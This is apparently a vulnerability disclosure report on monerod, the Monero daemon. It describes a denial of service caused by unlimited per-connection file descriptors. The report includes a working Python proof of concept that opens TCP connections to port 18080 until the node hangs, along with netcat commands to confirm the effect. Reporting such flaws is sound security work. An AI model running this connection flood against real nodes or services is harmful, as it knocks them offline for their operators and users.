Excessive Resource Usage

How it was found

Summary:

Unbounded resource usage due to open one file descriptor per connection, Python script below is effectively a threadbomb on the destination and uses all available memory on the server, clients not sending anything are never terminated.

Steps To Reproduce:

Up our daemon

% monerod

Check if peer accepting connection

% nc -vz 127.0.0.1 18080
Connection to 127.0.0.1 18080 port [tcp/*] succeeded!

Create python script ex: resus.py

import resource
import socket
import time

resource.setrlimit(resource.RLIMIT_NOFILE, (131072, 131072))

conn = []

while True:
    try:
        conn.append(socket.create_connection(("127.0.0.1", 18080)))
    except BaseException as err:
        print(err)
        break

print(len(conn))

while True:
    time.sleep(1)

run the script as ROOT(required for setting RLIMIT)

% sudo python resus.py

wait up 2 to minutes then run netcat again to check if our socket request bomb deny the service

% nc -vz 127.0.0.1 18080

now it's completely hang, during waiting you can run command lsof -i tcp to see lot of Monero connections

Impact

Denial of Service(Allocation of Resources Without Limits or Throttling)